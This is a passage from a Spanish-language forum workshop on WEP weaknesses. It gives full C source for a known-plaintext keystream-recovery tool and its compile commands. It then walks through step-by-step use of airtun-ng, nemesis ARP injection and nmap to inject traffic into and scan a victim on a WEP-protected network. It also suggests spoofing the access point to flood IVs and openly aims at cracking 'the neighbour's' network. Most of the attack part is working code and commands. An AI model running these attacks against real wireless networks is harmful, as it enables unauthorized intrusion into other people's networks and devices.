          2.- El atacante escucha con una tarjeta inalámbrica los paquetes que salen del punto de acceso (FromDS) y compara si lo que envía el punto de acceso al cliente inalámbrico es el paquete elegido y lo guarda en un archivo llamado ping_cifrado.cap

          3.- Si lo averigua, realiza un XOR del paquete que sale del AP (ya estará cifrado) con el texto plano que él envió y lo guarda en un archivo llamado ping.xor

          4.- con el archivo ping.xor (que es el keystream) puede inyectar paquetes "a medida" DIRECTAMENTE a la red inalámbrica desde la tarjeta wifi del atacante.

          5.- Podrá usar ese keystream desde cualquier herramienta tanto del sistema operativo como de terceros.[/list]
          Un dibujito de cómo es el escenario, con sus ip's, etc...



          Y después de que todo esto ya está explicado y claro... al ataque....

          ChimoC

          VULNERABILIDADES WEP. Parte II. Práctica

          Ataque de Texto plano

          Antes de nada, el atacante debe "preparar" un archivo ping_plano.cap con destino al equipo víctima (10.10.10.200)

          Para ello, vamos a usar tcpdump y luego enviar el ping.

          Ponemos  tcpdump "a la escucha"  abrimos una shell y escribimos:

          tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0

          Esto deja a tcpdump escuchado por la interface eth0 a la espera de un paquete icmp echo (un ping) y cuando lo reciba, guardará el/los paquetes capturados en el archivo ping_plano.cap

          La opción –s 0 (cero) es importante puesto que en caso contrario tcpdump sólo captura los primeros 96bytes de cada paquete y a nosotros nos interesa capturarlo completo, sobre todo si enviamos un ping de 1300 bytes, por ejemplo.

          En otra shell, el atacante envía un ping a la víctima, sólo uno (no necesitamos mas) y del tamaño que nos de la gana, en principio lo enviamos del tamaño "estándar" 64 bytes, luego haremos un ping de tamaño mayor para obtener un keystream mas grande y poder descifrar cualquier paquete.

          ping 10.10.10.200 -i eth0 -c 1

          Si todo ha ido bien, deberemos tener un archivo llamado ping_plano.cap en el directorio donde está escuchando tcpdump, ese archivo (si no lo está ya) debemos copiarlo al directorio donde ejecutaremos nuestro programa de ataque de texto plano, y por supuesto, ya podemos parar tcpdump

          Te pongo las pantallas:



          Veamos ese paquete capturado



          Vale.

          Ahora que tenemos el archivo, ya podemos ejecutar nuestro programa. Pero antes hay que aclarar algo,

          Nosotros hemos enviado esto:



          Están resaltados justamente los dos bytes siguientes a la cabecera ethernet.

          Recordáis lo de la cabecera SNAP y LLC???  Si es que para algo se explicó entonces :D

          Nuestro paquete ethernet (según tcpdump y/o whireshark) tiene un tamaño de 98 bytes, PERO cuando el punto de acceso envie ese paquete no será así.

          El punto de acceso eliminará la cabecera ethernet (Mac destino y mac origen) que son los 12 bytes del principio del paquete ethernet (lo que hay a la izquierda de los bytes resaltados)

          En su lugar colocará la cabecera MAC, que serán algo así:



          Bueno, podrían ser 26 si hay QoS, ya sabes...

          Luego añade el IV + la cabecera SNAP/LLC



          ESOS 08 00 son precisamente los mismos dos bytes que están resaltados en la captura del esnifer!!!! Estos son IP!!!!

          Recuerda lo de la cabecera SNAP/LLC!!! Puesto que formarán parte del paquete de datos cifrado y del keystream que obtengamos = ESTO es IMPORTANTÍSIMO!!!!

          Después le añade el resto del paquete, es decir 84 bytes y finaliza con el ICV (el CRC32 de los bytes en texto plano, desde la cabecera SNAP hasta el final) este ICV son 4 bytes.

          Por tanto, el paquete a transmitir por el punto de acceso al cliente inalámbrico es:



          Y repito de nuevo: IMPORTANTÍSIMO!!!!!

          Los bytes de datos cifrados comienzan en la posición +28 hasta el final -4 (124 del tamaño total – 4 del ICV)

          Total del tamaño de datos cifrados = 124 - 28 - 4 = 92 bytes cifrados

          DESDE la CABECERA SNAP/LLC (incluida) hasta 124 – 4!!!!

          En este ejemplo asumimos que no hay QoS, si lo hubiese serán dos bytes mas en el tamaño total del paquete (124+2=126) pero los datos serían LOS MISMOS, sólo que comenzarían en la posición +30 hasta 126 – 4.

          Por tanto, cuando analicemos los paquetes desde nuestro programa, tenemos que buscar uno que cumpla estos requisitos:
            a.- Que sea un paquete de datos (byte 0 debe ser 08 ó 88 si hay QoS)
            b.- Que sea un paquete fromDS (byte 1 debe ser 0x42, ya veremos)
            c.- Que el bit wep está activado (byte 1 debe ser 4x, ya veremos)
            d.- que la mac destino sea la del cliente (bytes 4 al 9)
            e.- que la mac del punto de acceso sea el correcto (bytes 10 a 15)
            f.- que la mac origen sea la de la tarjeta ethernet (bytes 16 al 21)
            g.- que el tamaño total del paquete sea 124 bytes ó 126 si hay QoS.[/list]Si se cumplen todas estas condiciones, estamos casi seguros que el paquete que capturemos por la interface Wifi es el paquete que el punto de acceso ha cifrado para enviarlo al cliente.

            Si en lugar de ese tamaño hubiésemos usado otro de tamaño "especial" por ejemplo uno de 173 bytes estaríamos seguros (digo de 173 como podía haber dicho 191, 211, 151, 995, 1133, etc...) porque los números impares no son "habituales", siempre se usan números pares... pero bueno, esa es otra historia, con las comprobaciones dichas antes, mas que suficiente para tener prácticamente un 100% de probabilidad que es el "nuestro"

            Una vez que lo tengamos, solo nos falta hacer un xor del paquete enviado con el cifrado y ya tenemos un keystream válido para el IV que se esté usando.

            Y otra vez....  IMPORTANTÍSIMO, para hacer el XOR debemos añadir a nuestro paquete en texto plano la cabecera SNAP (AA AA 03 00 00 00 ) aquí no hace falta incluir el 08 00 puesto que ya lo tiene.

            Es decir, nuestro paquete en texto plano sería:

            AA AA 03 00 00 00 08 00 45 00 ...... 35 36 37

            OBSERVA que la cabecera MAC de ethernet NO SE INCLUYE COMO DATOS!!!!

            Y HAY QUE HACER XOR DE LO QUE CAPTUREMOS +28 HASTA 124 -4



            Bueno, ha sido muy, muy pormenorizado todo, pero es que si no vamos entendiendo bien esto, otros ataques se nos van a atragantar....

            Ahora vamos al programa.

            Utiliza la funciones de costumbre: read_packet, dump_packet y send_packet (esta última no se usa)

            Además estas otras:

            Función main
              * Comprueba el paso de parámetros
              * Prepara la interface wifi para enviar/recibir paquetes
              * llama a la función captura_datos_ethernet
              * llama a la función envia_datos_ethernet
              * llama a la función captura_datos_wifi
              * realiza las operaciones XOR pertinentes
              * graba el archivo ping.xor con su IV, esto es el keystream.
              * muestra los resultados por pantalla para comprobar que funcionó
            Función captura_datos_ethernet

              * El cometido de esta función es abrir el archivo ping_plano.cap que deberemos tener con anterioridad, eliminando la cabecera pcap y  lo almacena en un array llamado ethernet, estos serán los datos en plano de ethernet.
            Función envia_datos_ethernet
              * Su cometido es abrir un RAW socket y lanzar por el cable el contenido del array ethernet que completamos en la función anterior, también comprueba que se pudo enviar correctamente.
            Función captura_datos_wifi

            Esta función se encarga de capturar el paquete que el punto de acceso ha debido cifrar para el cliente, es decir, nuestro ping enviado desde la interface ethernet convertido a 802.11 y cifrado con WEP.

            Aquí es donde realizamos las comprobaciones de tamaño, fromDS, MAC's, wep, etc.. las que hablábamos antes.

            También en esta función se escribe en el disco un archivo llamado ping_cifrado.cap que es el contenido completo del paquete cifrado.

            Para nuestro Taller nos interesan sobre todo el contenido de la función main y de la función captura_datos_wifi, puesto que son donde se realiza de verdad el ataque del tipo texto plano.

            Contenido de la función main()

            int main( int argc, char *argv[] ) // inicio del programa
            {
                int caplen=0;
                int bb,z;

            //Comprueba el paso de parámetros
               if( argc != 2 ) {
                printf("\nUso: ataquePLANO interface\n\nEjemplo: ataquePLANO wlan0\n\n");
                    exit( 0 );
                }

            /* Abrir Interface wifi para enviar/recibir tráfico */

                 opt.iface_out = argv[1];
                _wi_out = wi_open(opt.iface_out);
                if (!_wi_out)
                        return 1;
                dev.fd_out = wi_fd(_wi_out);
                _wi_in = _wi_out;
                dev.fd_in = dev.fd_out;
                dev.arptype_in = dev.arptype_out;
                wi_get_mac(_wi_in, dev.mac_in);
                wi_get_mac(_wi_out, dev.mac_out);

            /* drop privileges */

               setuid( getuid() );

            /* Leemos el paquete de Datos de pring_pano.cap*/

            memset (ethernet,0,1500);
            if (captura_datos_ethernet() !=0) exit(1); //Comprobamos que hay un paquete .cap de ethernet

            /* Enviamos ping_plano (guardado en ethernet[1500]) por la red de cable */

            if (enviar_paquete_ethernet () !=0 ) exit (1); // si hubo algún error al enviarlo, fin de programa.

            /* Capturamos el paquete desde la interface Wifi */

            while(captura_datos_wifi(&caplen) !=0 ) {}

            // Ahora en ethernet[] tenemos el paquete en texto plano y en h80211[] tenemos el paquete cifrado

            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no será 24

            if( (h80211[0] & 0x80) == 0x80) z+=2; // si es un paquete QoS z se incrementa en 2 bytes

            // Volcamos el paquete cifrado para observar su contenido
            printf ("\nDatos del Paquete cifrado");
            dump_packet (paquete_cifrado+z+4,caplen - z -4 -4); // a caplen le restamos la cabecera MAC (z) 4 de IV y 4 de ICV

            /* Obtenemos el keystream mediante XOR entre el paquete en texto plano y el paquete cifrado

            El keystream se debe obtener de los datos cifrados y de los datos en texto plano
            El paquete en texto plano lo tenemos en ethernet[] y el cifrado en paquete_cifrado[]
            Para que todo "encaje":

            * ignorar los primeros 12 bytes de la cabecera ethernet II correspondientes a MAC destino y MAC origen
            * Luego tamaño de ethernet - 12 = tamaño de los datos cifrados
            * incluir al principio del keystream los 4 bytes correspondientes a los parámetros WEP IV
            * Añadir los 6 primeros 6 bytes de la subcapa LLC.en ethernet
            * hacer xor para obtener el keystream
            * añadir al final los 4 bytes correspondientes al ICV
            * Salvar ese keystream
            */

            unsigned char mi_XOR[1500],mi_PLANO[1500], nuevo_ethernet[1500];

            // nuevo ethernet será lo mismo que ethernet pero con la subcapa LLC al inicio!!!

            #define mi_llc_snap "\xaa\xaa\x03\x00\x00\x00"

            // tamano es el tamaño del paquete ethernet, caplen es el tamaño del paquete 802.11
            // tamano menos 12 (que son los bytes de las direcciones mac ethernet) y le sumamos 6 (subcapa LLC) y lo
            // comparamos con caplen restando z (que es el tamaño de la cabecera MAC 802.11), menos 4 (tamaño del IV) -4 (Tamaño del ICV)
            // si tras esa operación no son los mismos valores, no se hace XOR y el programa termina.

            if (tamano -12 + 6  != caplen -z -4 - 4 ) {

            printf ("\n\nEl tamaño de los datos en texto plano (%i bytes) no se corresponde con el"
            " tamaño de los datos cifrados (%i bytes) \n\n"
            "Generación del keystream abortada.\n\n",tamano -12, caplen -z -4-4);
            exit (1);
            }

            // Copiamos a nuevo_ethernet la subcapa LLC
            memcpy (nuevo_ethernet, mi_llc_snap, 6);

            // Copiamos a nuevo_ethernet el resto del paquete ethernet ignorando las mac destino y origen (ethernet +12)
            memcpy (nuevo_ethernet+6, ethernet+12, 1500-12);

            //añadimos el iV
            memcpy (mi_XOR,paquete_cifrado+z,4);

            // hacemos xor desde la posición z+4 (inicio de los datos cifrados) con los datos de nuevo_ethernet
            // hasta alcanzar la longitud total del paquete 802.11 sin la cabecera (z) y sin contar los IV e ICV (-4-4)
            // mi_XOR comienza a contar desde la pos.4 puesto que las anteriores las ocupa el IV de la línea anterior
            // paquete_cifrado comienza en la posción +z+4 (cabecera mac + 4 para el iV)

            for (bb=0;bb < caplen-z-4;bb++) mi_XOR[bb+4] = paquete_cifrado[bb+z+4]^nuevo_ethernet[bb];

            // añadimos al final los 4 bytes del ICV
            // bb cuenta la última posición de los datos y caplen-4 es la posición inicial del ICV
            memcpy(mi_XOR+bb,paquete_cifrado+caplen-4,4);

            // Volcamos el paquete keystream resultante del XOR para observar su contenido
            printf("\nKeystream obtenido mediante XOR del paquete cifrado con el paquete en texto plano");
            dump_packet (mi_XOR,bb+4+4);

            // Comprobamos que todo funciona, volvemos a hacer XOR, pero esta vez usamos el keystream obtenido (mi_XOR)
            // hacemos XOR con el paquete cifrado, que lógicamente nos tiene dar lo mismo que en el paquete en texto plano
            // observa que no se hace xor de los primeros 4 bytes y de los 4 últimos!!! son los IV e ICV.

            for (bb=0;bb<caplen-z-4-4;bb++) mi_PLANO[bb] = paquete_cifrado[bb+z+4]^mi_XOR[bb+4];

            // Volcamos el paquete keystream XOR cifrado
            printf ("\nPaquete plano resultante de cifrado XOR keystream calculado.");
            dump_packet (mi_PLANO,caplen-z-4-4);

            // Si volcamos el paquete nuevo_ethernet, el contenido de uno y otro deben ser IDENTICOS!!!!
            printf ("\nPaquete nuevo_ethenet original (debe ser idéntico al volcado anterior)");
            dump_packet (nuevo_ethernet,caplen-z-4-4);

            // guardamos el keystream (prga) calculado... el que está en mi_XOR como ping.xor

            FILE *f_cap_out;

            if( ( f_cap_out = fopen( "ping.xor", "wb+" ) ) == NULL )
                {
                    perror( "Error al abrir el archivo para escritura. ping.xor" );
                    return( 1 );
                }

            //    n = pkh.caplen + 8 - 24;
             
                if( fwrite( mi_XOR, caplen, 1, f_cap_out ) != 1 )
                {
                    perror( "Error al escribir en el archivo ping.xor" );
                    return( 1 );
                }

                fclose( f_cap_out );

            printf ("\nListo!!! Guardado como ping.xor\n");

            // ahora ya podemos usar ese keystream para enviar cualquier paquete a la red inalámbrica!!!!

            return( 0 );
            }


            Función captura_datos_wifi

            int captura_datos_wifi( int *caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
            {
                time_t tr;
                struct timeval tv;
                struct tm *lt;
                int n, z;
                long nb_pkt_read;
                FILE *f_cap_out;
                struct pcap_file_header pfh_out;
                struct pcap_pkthdr pkh;

                tr = time( NULL );
                nb_pkt_read = 0;

                signal( SIGINT, SIG_DFL );
             
                while( 1 )
                {
                   
                    *caplen = read_packet( h80211, sizeof( h80211 ), NULL );
            nb_pkt_read++;
            usleep(300);
            if (nb_pkt_read > 20) { // asumimos que al leer mas de 20 paquetes no hemos capturado el "bueno"
            printf ("\r*** Parece que no se ha capturado el paquete. Pulsa ctrl+c y repite *** \r");
            fflush( stdout );
            return (2);
            }
                    if(*caplen <= 0) continue; // si la longitud no es válida

            if( (h80211[0] & 0x0C) != 0x08)    //Si no es un paquete de datos
                    continue;

                // if( ( h80211[1] & 0x01 ) != 0x00 ) continue; // Si es ToDS

                if( ( h80211[1] & 0x02 ) != 0x02) continue; // Si no es FromDS

                if( ( h80211[1] & 0x40 ) != 0x40 ) continue; // si no es un paquete Wep activado

            if (h80211[16] != 0x00 && h80211[17] != 0x0a && h80211[18] != 0xcc) continue;

            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no será 24

            if( (h80211[0] & 0x80) == 0x80) z+=2; // si es un paquete QoS z se incremente en 2

            /* Controlamos el paquete icmp. tamano es la longitud del paquete ethernet
               a ese valor (tamano):
            se restan 12 de la cabecera MAC ethernet II (MAC destino y MAC origen)
            se suman 6 de la subcapa LLC 802.11 (aa aa 03 00 00 00) o (42 42 03 00 00 00 para spanning-tree)
            se suman 24 de la cabecera MAC 802.11 (ó 26 si es una paquete QoS) --> z contiene este valor
            se suman 4 del IV de WEP
            se suman 4 del ICV
            total = tamano -12 + 6 + 24 + 4 + 4 para un paquete no QoS
            total = tamano -12 + 6 + 26 + 4 + 4 para un paquete QoS
            si ese total coincide con la longitud leída, se asume que es nuestro paquete enviado
            */

            if (*caplen == tamano - 12 + 6 + z + 4 + 4  ) {

            memset (paquete_cifrado,0,4096);
            memcpy (paquete_cifrado,h80211,*caplen);
            // printf ("\n\n");
            //dump_packet (paquete_cifrado,tamano - 12 + 6 + z + 4 + 4);

            break; // sale de while y procede a grabar el paquete leído en formato .pcap
            }

                }

            // Grabamos el paquete leído (h80211) en el archivo ping_cifrado.cap

                pfh_out.magic         = TCPDUMP_MAGIC;
                pfh_out.version_major = PCAP_VERSION_MAJOR;
                pfh_out.version_minor = PCAP_VERSION_MINOR;
                pfh_out.thiszone      = 0;
                pfh_out.sigfigs       = 0;
                pfh_out.snaplen       = 65535;
                pfh_out.linktype      = LINKTYPE_IEEE802_11;
                lt = localtime( (const time_t *) &tv.tv_sec );
                f_cap_out=0;
                if( ( f_cap_out = fopen( "ping_cifrado.cap", "wb+" ) ) == NULL )
                    {
                        perror( "Error al abrir archivo de salida" );
                        return( 1 );
                    }
                printf( "Guardado como ping_cifrado.cap\n");
                n = sizeof( struct pcap_file_header );
                if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
                    {
                        perror( "Error al escribur la cabecera pcap\n" );
                        return( 1 );
                    }

                pkh.tv_sec  = tv.tv_sec;
                pkh.tv_usec = tv.tv_usec;
                pkh.caplen  = *caplen;
                pkh.len     = *caplen;
                n = sizeof( pkh );

               if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
                    {
                        perror( "Error al escribir datos en la cabecera pcap" );
                        return( 1 );
                    }

                n = pkh.caplen;

                if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
                    {
                        perror( "Error al escribir el paquete" );
                        return( 1 );
                    }

                 fclose( f_cap_out );
                return( 0 );
            }


            Del resto de funciones no voy a  poner el código fuente en este post, se escapan al temario de este Taller y además, con las explicaciones dadas son fáciles de entender.

            Lo puedes descargar de: http://www.megaupload.com/?d=YCGYVOUU

            Se guarda en el directorio del código fuente de aircrack con el nombre ataquePLANO.c

            Y se compila:

            gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o ataquePLANO ataquePLANO.c

            gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude ataquePLANO.o common.o crypto.o -o ataquePLANO -Losdep -losdep   -lssl -lcrypto


            Lo vemos en acción:



            Una vez obtenido el keystream (que si todo ha ido bien lo tendremos en el archivo ping.xor y podremos usarlo para inyectar paquetes en la red.

            El keystream que disponemos es de tan sólo 92 bytes por lo que este será el tamaño máximo de los paquetes que podemos enviar, sin embargo, podemos obtener un keystream mas grande de una forma simple.

            Como estamos usando un paquete icmp en texto plano para el "ataque" nos bastará con enviar un ping de mayor tamaño que el estándar.

            Por ejemplo, podemos hacer esto,abrimos una shell y escribimos:

            tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0

            En otra shell:

            ping 10.10.10.200 -i eth0 -c 1 -s 1423



            Esta pantalla de la estructura de un paquete icmp completo puede ayudar aún mejor a entender el encapsulado del paquete.



            Observa también, que hemos jugado con un número impar por aquello de que no son muy habituales, casi todas las tramas y paquetes de datos tienen un tamaño par, así será más fácil identificar nuestro paquete de datos cifrado, tendremos que "encontrar" un paquete de datos, con wep activado, fromDS y con un tamaño de 1497 (ó 1499 si hay QoS).

            Ahora lanzamos nuestro programa como hicimos antes y si todo va bien obtendremos un keystream de 1469 bytes (4 del ICV + 1465 de datos cifrados)

            ./ataquePLANO eth1

            Con este keystream podemos enviar paquetes mucho mas grandes.

            Para ello, nos vamos a apoyarnos de una de las herramientas de aircrack, esta es airtun-ng.

            Esta pequeña maravilla permite usar un prga (un keystream) para enviar datos a la red inalámbrica, hace muchas otras cosas, pero esta es una de sus capacidades.

            Antes de usar airtun-ng debemos cargar un móduulo para la interface tap (una interface "muda" y virtual) que usará airtun.

            En una shell:

            modprobe tun

            Luego lanzamos airtun-ng

            ./airtun-ng -a 00:16:B6:41:03:5D -y ping.xor

            donde 00:16:B6:41:03:5D debe ser la mac del punto de acceso y ping.xor el keystream "grande" que nos hemos fabricado.

            Responderá que ha creado una intarface tap con el nombre at0 y que sólo la podemos usar para enviar tráfico...



            En otra shell:

            ifconfig at0 10.10.10.33 netmask 255.255.255.0 up

            Y para que no haya "trampa ni cartón" hacemos:

            ifconfig eth0 down

            Desactivamos la interface ethernet (qeu si recuerdas el atacante estaba conectado a la red wifi con ela, por eso digo "sin trampa ni cartón"), vemos como queda:



            Ahora podemos usar la interface at0 con cualquier herramienta para enviar tráfico directamente a la red, por ejemplo, podemos enviar un ping así:

            ping 10.10.10.200 -I at0

            No recibiremos respuestas, pero los paquetes llegarán al destino.



            Como esto es un Taller, hay que "trastear", vamos a repasar algunas cuestiones de redes (no exclusivas de las inalámbricas) seguro que mas de uno se sorprende.

            Veamos qué pasa en "el destino", en lo que hemos llamado cliente víctima con ip 10.10.10.200, lo primero es ver su caché arp:



            Como vemos parece que se ha resuelto la dirección 10.10.10.33 (que es nuestra interface tap, at0) la mac es "aleatoria" la genera airtun-ng al "azar".

            Ahora vamos a poner un esnifer en la vícitma (10.10.10.200) para ver qué es lo que se recibe.



            Como puedes ver claramente, se reciben ARP Request (Solicitudes ARP) y se envían ARP Response (las respuestas)

            Y cómo es esto?

            Pero si estamos enviando ping?

            Pues lógico, porque el equipo del atacante tiene que resolver la dirección MAC de la víctima antes de poder encapsular el paquete IP/ICMP, por eso, aunque enviamos ping, la víctima lo que recibe son ARP REQ.

            Vamos a solucionarlo.

            Si lanzamos airodump (o nos creamos un simple programita para que escuche el tráfico de la red) veremos el/los clientes conectados, bueno veremos sus mac's, y eso es precisamenbte lo que necesitamos:

            Lo haremos con airodump...

            ./airodump-ng -w test -d 00:16:B6:41:03:5d -c 7 eth1



            Aquí vemos la MAC de nuestra víctima ;)

            Ahora vamos a crear una entrada estática en la tabla arp del atacante que relaciona esa mac con la ip correspondiente, así NO TENDRÁ QUE RESOLVERLA!!!! Y los paquetes saldrán directamente sin necesidad de resolverse (bueno, no es verdad del todo, ahora verás por qué!)




            Volvemos a realizar el mismo ping que antes (observa que ahora ni tan siquiera nos muestra el error de host no encontrado.



            Veamos que pasó en el esnifer que hemos colocado en la víctima, ahora resulta que no hay ARP REQ por parte del atacante (lógico porque al haber creado una entrada estática ya no necesita resolverlo).



            También vemos que se reciben los IP/ICMP echo que envía el atacante pero la víctima no envía respuestas (y por tanto no habrá IV's nuevos), es mas, tras varios paquetes ICMP recibidos es la propia víctima quien envía un ARP REQ intentando resolver la MAC-IP del atacante... será infructuoso porque por la interface at0 del atacante no se pueden descifrar los paquetes recibidos y por tanto no habrá un ARP RESPONSE del atacante.

            (los paquetes IGMP, ni caso a ellos, son multicast de servicios que el router y(o punto de acceso envía)

            Bueno, pues para que todo vaya mejor, lo único que tenemos que hacer es decirle a la víctima cuál es la mac del atacante!!! O sea, enviar ARP RESPONSE, por que enviar, sí que podemos enviar!!!!

            Para hacerlo podríamos hechar mano de otro programa creado por nosotros, pero ... como tenemos un keystream (el archivo ping.xor), una interface tap (at0) y airtun-ng funcionando: PODEMOS USAR CUALQUIER PROGRAMA!!!!

            Lo haremos con nemesis.... en una shell del atacante hacemos:

            ./nemesis arp -S 10.10.10.33 -D 10.10.10.200 -r -d at0

            Es decir enviamos ARP Response (-r) por la interface at0 (-d at0) a la ip de la víctima (-D 10.10.10.200) desde la ip del atacante (-S 10.10.10.33) para que actualice su tabla arp

            Enviamos un par de ellos:



            Veamos que tiene ahora la caché ARP de la víctima y qué es lo que pasa en el esnifer.

            Caché de la víctima: Actualizada su tabla arp con la dirección ip del atacante y la mac de la interface tap (at0)



            En el esnifer: Vemos que "auto-mágicamante" tras recibir esos dos ARP RESPONSE (los paquetes con el punto rojo) que enviamos desde nemesis, ya no intenta resolver la MAC, sencillamente responde al ping que enviamos desde la interface at0. (el conjunto de paquetes de la línea verde)



            A partir de ahora, ya podemos usar cualquier otra herramienta para enviar tráfico (se supone que mal intencionado :D) hacia el cliente inalámbrico víctima.

            Por ejemplo, aunque no sirve de mucho mas que para demostrar lo dicho, vamos a usar nmap para escanear puertos de la vícitima:

            Desde una shell del atacante ejecutamos nmap así:

            nmap -sS -O -p- -P0 -n 10.10.10.200 --send-ip 10.10.10.33 -e at0

            * Es muy importante la opción --send-ip puesto que sin ella nmap primero enviará paquetes ARP REQ a la vícitma y fallaría... esta opción nos permite enviar tramas "en bruto" (raw).

            Ahora vamos a ver qué pasó en el esnifer de la vícitima:



            Y como era de esperar, escaneo "al canto", puedes observar que se están probando diferentes puertos (columna puertos) ldap, ftp, smtp, etc..

            Lo que el atacante no recibe son las respuestas, bueno, sí que las recibe, pero cifradas y como no tenemos la clave WEP completa no podemos descifrarlos.

            También has de recordar que la caché arp es dinámica y que tras un tiempo sin actividad por parte del atacante, la víctima borrará de su tabla esa entrada, habría que repetir la inyección de nemesis que hicimos antes, o mantener "viva" la conexión.

            Podemos hacer alguna "jugarreta", por ejemplo podríamos intentar un ip-spoof + mac-spoof desde la interface at0, por ejemplo, te lo pongo como ejercicio:

              * Hacer un
            escáner de puertos con nmap como el que se ha descrito, sólo que en esta ocasión, la víctima "crea" que el escáner se lo está haciendo el punto de acceso.

            * Esto tiene una ventaja: Como el punto de acceso y la víctima sí pueden mantener una comnunicación completa (ambos conocen la clave wep) el tráfico irá por las nubes.... puesto que un escáner total de puertos genera un tráfico enorme...

            * Si en la red por ejemplo hay 10 equipos inalámbricos podemos "jugar" con TODOS a la vez y "simular" que es el punto de acceso quien escanea a TODOS, por lo que el tráfico es muy, muy,muy grande y capturaremos muchíiiisimos IV's. En menos de un minuto tenemos 100 mil IV's :D[/list]
            En este ejercicio todo ha sido "muy fácil" porque el atacante y la víctima "compartían" la misma red, ambos podían comunicarse entre sí y además, el atacante conocía la  IP de la vícitma.

            Será posible hacer lo mismo sin "esa ventaja"??

            Podríamos hacer esta misma prueba con la red "del vecino" de la cual no conocemos su rango de ip's y al cual no le podemos enviar un paquete en texto plano por la interface ethernet???

            La respuesta en el próximo post. Mejor dicho, la respuesta es SÍ, en el próximo post resolveremos este "inconveniente", haremos un nuevo programa, uno que pueda decodificar CUALQUIER paquete cifrado de CUALQUIER red con protegida con WEP y obtener un keystream válido junto con el rango de direcciones ip's que usa "el vecino". Dará lo mismo que use DHCP o no, nuestro próximo objetivo será averiguar las IP's que circulan en una red WEP y obtener keystream sin estar conectados a ella.

            Bien, hasta aquí la esta entrega del análisis de vulnerabilidades WEP, pero OJO!!! que todavía esto no ha terminado!!! queda muuuchooo mas....

            ChimoC

            #8
            VULNERABILIDADES WEP. PARTE III. TEORÍA (I)

            Ataque Inductivo.

            El ataque inductivo (también conocido como ataque Arbaught) consiste en la generación parcial de paquetes 802.11 que son enviados al punto de acceso con la esperanza de que uno de ellos sea correcto y a partir del mismo ir generando el keystream del paquete cifrado original y por consiguiente conseguir descifrarlo.

            Cuando digo punto de acceso debería decir Sistema de Distribución, pero vamos, es una forma "mas coloquial" :D

            Esta generación "parcial" no debes confundirla con el ataque de fragmentación, pues si bien se envían "fragmentos" de un paquete, no se trata del mismo tipo de ataque.

            El ataque inductivo será capaz de descifrar cualquier paquete de datos cifrado original y lo realiza desde "el principio hasta el final", es decir, avanza progresivamente byte por byte desde el comienzo (o desde la posición que elijamos) hasta el último byte del paquete cifrado original.

            Otros ataques (luego los veremos) como chopchop hacen algo similar pero descifran "a la inversa", esto es, comiernzan de "atrás hacia delante", desde el último byte del paquete cifrado original hasta el primero.

            Además, ya veremos luego también, se puede combinar con otras ténicas como el "bit-flipping" para lograr el objetivo, que a la postre y en todos los casos de este tipo de ataques, son:
              * Descifrar un paquete de datos original WEP
              * Obtener un keystream para poder descifrar otros
              * Obtener un keystream para poder inyectar nuevos paquetes a la red
            Es muy importante que comprendamos bien el funcionamiento del ataque inductivo porque muchos otros usan la misma técnica (o parecida como chopchop) es muy fácil de entender (y difícil de explicar, a ver si lo consigo), veamos:

            El atacante parte del hecho que puede generar un paquete en texto plano conocido, este paquete no estará completo, puesto que el atacante desconoce muchos parámetros necesarios para poder inyectarlo, el atacante desconoce:
              * La clave WEP (obvio porque en otro caso todo esto no es necesario)

              * El contenido original del paquete en texto plano (lógico también)

              * El keystream original (por lo mismo de los dos anteriores)

              * Las direcciones IP's de la red (como no conoce el texto plano original, el atacante no puede generar paquetes propios en texto plano con las direcciones de red adecuadas)
            Pero el atacante puede conocer "parte" del texto plano de un paquete cifrado con WEP!!!

            Cómo???? Estás seguro?????

            Sí.. El atacante mas que conocer, puede "reconstruir" parte de un paquete de datos en texto plano equivalente al paquete de datos cifrado.

            De hecho, el atacante tiene una ventaja muy, muy interesante... como ya sabemos, un paquete 802.11 comienza siempre en sus 6 primeros bytes por la cabecera SNAP

            Y esto sí lo conocemos!!!!

            AA AA 03 00 00 00 si no hay spannig-tree
            42  42   03 00 00 00 con spanning-tree en la red.


            Además, ya dijimos que un atacante puede "asumir" que determinados paquetes son de un determinado tipo u otro atendiendo a su tamaño, por ejemplo, los paquetes del tipo ARP son:
              68 bytes de longitud si no hay QoS
              70 bytes de longitud si hay QoS
            También es posible conocer el tamaño de otros paquetes interesantes, DHCP, TCP-SYN, etc.. estos paquetes suelen tener también un tamaño fijo y no son complicados de elaborar.

            Para mayor sencillez en las explicaciones vamos a usar un ARP.

            Un paquete ARP en una trama de datos 802.11 tiene esta forma



            De estas 4 partes, nos interesa sólo la zona de DATOS.

            Asumiendo que se tratase de un paquete ARP, podemos reconstruirlo (aproximadamente) así:



            Los datos que están reslatados en verde serán siempre los mismos para cualquier paquete ARP, los conocemos SEGURO por lo que los primeros 15 bytes cifrados podemos obtener su keystream.

            Los bytes resaltados en amarillo son desconocidos, pero podemos "intuirlos" o pocas son sus variaciones, por ejemplo:

            El byte 16 (la primera XX en amarillo) sería:

              01 Si es un Request (Solicitud ARP)
              02 Si es un Response (Respuesta ARP)[/list](nos olvidamos de RARP, asumimos que no existe)

              Los bytes correspondientes a MAC ORIGEN Y/o MAC DESTINO también los podemos "intuir" observando la cabecera 802.11 que te recuerdo no está cifrada, aunque existe un problema:
                Si se tratase de un ARP Request MAC DESTINO debería ser 00 00 00 00 00 00
                Si se tratase de un ARP Response Target MAC será la mac de quien originó la solicitud.
              Como no sabemos si es un ARP REQ o un ARP RSP, pues no podemos determinarlo a ciencia cierta.

              Los bytes en Rojo, son TOTALMENTE DESCONOCIDOS   por el atacante.

              Por tanto, si quiesiéramos realizar un ataque inductivo de este paquete, lo mejor será comenzar por el byte 16 (que es el primero que desconocemos, el primero de la zona amarilla).

              En total, los datos cifrados son: 36 bytes para datos y 4 para el ICV, de los cuales conocemos 15.

              El tamaño completo de la trama "a buscar" sería:

              24 bytes para la cabecera 80211 (ó 26 si hay QoS)
              4  bytes para IV
